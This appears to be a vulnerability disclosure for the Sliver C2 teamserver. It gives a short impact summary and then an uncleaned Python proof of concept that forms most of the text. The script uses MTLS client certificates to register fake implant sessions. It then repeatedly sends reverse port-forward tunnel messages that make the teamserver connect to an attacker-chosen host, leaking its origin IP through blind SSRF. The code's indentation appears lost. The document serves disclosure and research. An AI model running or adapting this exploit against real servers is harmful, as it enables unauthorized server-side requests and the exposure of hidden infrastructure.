Details
Impact
For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now
To exploit this for MTLS listeners, you will need MTLS keys
For HTTP listeners, you will need to generate valid nonce
Not sure about other transport types
POC
POC code, it is not cleaned up at all, please forgive me
#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json_format
from rich import print
import random
import string
ssl_ctx = ssl.create_default_context()
ssl_ctx.load_cert_chain(keyfile='certs/client.key',certfile='certs/client.crt')#,ca_certs='sliver/ca.crt')
ssl_ctx.load_verify_locations('certs/ca.crt')
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
def generate_random_string(length=8):
# Combine letters and digits
characters = string.ascii_letters + string.digits
# Generate random string
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
def rand_unicode(junk_sz):
junk = ''.join([chr(random.randint(0,2047)) for x in range(junk_sz)]).encode('utf-8','surrogatepass').decode()
return(junk)
def junk_register(junk_sz):
n = generate_random_string()
register = {
"Name": "chebuya"+n,
"Hostname": "chebuya.local"+n,
"Uuid": "uuid"+n,
"Username": "username"+n,
"Uid": "uid"+n,
"Gid": "gid"+n,
"Os": "os"+n,
"Arch": "arch"+n,
"Pid": 10,
"Filename": "filename"+n,
"ActiveC2": "activec2"+n,
"Version": "version"+n,
"ReconnectInterval": 60,
"ConfigID": "config_id"+n,
"PeerID": -1,
"Locale": "locale" + n
}
return register
def make_ping_env():
reg = sliver.Ping()
json_format.Parse(json.dumps({}),reg)
envelope = sliver.Envelope()
envelope.Type = msgs.index('Ping')
envelope.Data = reg.SerializeToString()
return envelope
def make_rt_env():
jdata = {
"Data": "c3NyZiBwb2M=",
"Closed": False,
"Sequence": 0,
"Ack": 0,
"Resend": False,
"CreateReverse": True,
"rportfwd": {
"Port": int(sys.argv[4]),
"Host": sys.argv[3],
"TunnelID": 0,
},
"TunnelID": 0,
}
reg = sliver.TunnelData()
json_format.Parse(json.dumps(jdata),reg)
envelope = sliver.Envelope()
envelope.Type = msgs.index('TunnelData')
envelope.Data = reg.SerializeToString()
return envelope
def send_envelope(envelope,ip,port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
with ssl_ctx.wrap_socket(s,) as ssock:
ssock.connect((ip,port))
print(len(envelope.SerializeToString()))
#data_len = struct.pack('!I', len(envelope.SerializeToString()) )
data_len = struct.pack('I', len(envelope.SerializeToString()) )
envelope3 = make_rt_env()
data_len3 = struct.pack('I', len(envelope3.SerializeToString()) )
print(data_len)
ssock.write(data_len + envelope.SerializeToString())
ssock.write(data_len3 + envelope3.SerializeToString())
# No idea why this is reqauired
while True:
time.sleep(2)
ssock.write(data_len3 + envelope3.SerializeToString())
def register_session(ip,port):
print('[yellow]\[i][/yellow] Sending session registration.')
reg = sliver.Register()
json_format.Parse(json.dumps(junk_register(50)),reg)
envelope = sliver.Envelope()
envelope.Type = msgs.index('Register')
envelope.Data = reg.SerializeToString()
send_envelope(envelope,ip,port)
def register_beacon(ip,port):
print('[yellow]\[i][/yellow] Sending beacon registration.')
reg = sliver.BeaconRegister()
reg.ID = str(uuid.uuid4())
junk_sz = 50
reg.Interval = random.randint(0,10*junk_sz)
reg.Jitter = random.randint(0,10*junk_sz)
reg.NextCheckin = random.randint(0,10*junk_sz)
json_format.Parse(json.dumps(junk_register(junk_sz)),reg.Register)
envelope = sliver.Envelope()
envelope.Type = msgs.index('BeaconRegister')
envelope.Data = reg.SerializeToString()
send_envelope(envelope,ip,port)
description = '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''
if __name__ == '__main__':
register_session(sys.argv[1], int(sys.argv[2]))